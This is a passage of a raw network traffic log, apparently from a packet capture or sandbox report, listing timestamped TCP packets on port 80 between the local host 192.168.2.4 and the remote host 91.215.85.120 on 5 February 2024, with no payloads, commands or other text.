Feb 5, 2024 10:57:24.233830929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233843088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233848095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233861923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233866930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233880997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233896017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233910084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233915091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233928919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233932972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233947992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233952999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233971119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233972073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233985901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233990908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234008074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234009027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234024048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234029055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234042883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234047890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234061003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234066010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234080076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234085083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234098911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234102011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234117985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234122038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234136105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234138966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234157085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234163046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234175920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234179974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234194994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234194994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234215021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234215975 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234232903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234234095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234250069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234251022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234263897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234271049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234285116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234287977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234304905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234307051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234319925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234325886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234339952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234344959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234357119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234363079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234378099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234380007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234397888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234404087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234416008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234433889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234435081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234452009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234452963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234469891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234474897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234489918 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234505892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234510899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234529972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234545946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234546900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234561920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234566927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234580994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234586000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234601021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234605074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234618902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234623909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234638929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234641075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234654903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234659910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234675884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234678030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234694004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234698057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234708071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234714985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234729052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234733105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234747887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234750986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234770060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234771967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234788895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234790087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234803915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234807968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234827042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234827995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234841108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234844923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234859943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234863997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234882116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234882116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234894991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234899998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234918118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234920979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234935999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234936953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234954119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234958887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234972000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234972000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.234987974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.234992027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235007048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235011101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235024929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235028982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235044003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235049009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235061884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235066891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235083103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235085011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235104084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235104084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235119104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235122919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235137939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235142946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235157967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235161066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235176086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235178947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235193968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235197067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235210896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235214949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235229015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235234022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235248089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235253096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235266924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235271931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235285044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235290051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235306025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235307932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235332012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235337019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235349894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235352039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235368967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235372066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235387087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235388041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235400915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235405922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235419989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235423088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235441923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235443115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235460043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235460997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235476971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235481024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235493898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235498905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235516071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235517025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235534906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235534906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235548019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235554934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235570908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235572100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235589027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235590935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235606909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235610962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235625982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235629082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235646963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235647917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235660076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235666990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235682964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235685110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235701084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235702991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235718012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235722065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235740900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235752106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235758066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235769033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235776901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235781908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235797882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235802889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235821962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235825062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235838890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235840082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235860109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235872030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235876083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235893011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235899925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235910892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235925913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235928059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235944986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235945940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235964060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235970020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.235981941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.235992908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236000061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236007929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236017942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236025095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236037016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236040115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236053944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236054897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236073017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236073971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236085892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236092091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236109972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236113071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236123085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236134052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236150980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236167908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236172915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236186028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236196041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236203909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236221075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236222029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236239910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236246109 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236258030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236268044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236274958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236284018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236291885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236299992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236309052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236315966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236326933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236330986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236346006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236347914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236362934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236365080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236377954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236383915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236399889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236403942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236422062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236422062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236434937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236439943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236457109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236458063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236473083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236474991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236490965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236495018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.236510038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.236526012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.256774902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.256989956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437516928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437545061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437563896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437583923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437602997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437602043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437623024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437640905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437661886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437676907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437676907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437676907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437716007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437716007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437766075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437783957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437803984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437814951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437824011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437843084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437855959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437855959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437861919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437880993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437882900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437882900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437912941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437936068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437941074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437941074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437957048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437964916 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.437977076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.437994957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438013077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438014030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438013077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438035011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438045025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438045025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438054085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438064098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438072920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438093901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438097000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438113928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438122988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438122988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438139915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438142061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438158035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438160896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438179016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438179016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438198090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438201904 CET	49735	80	192.168.2.4	91.215.85.120
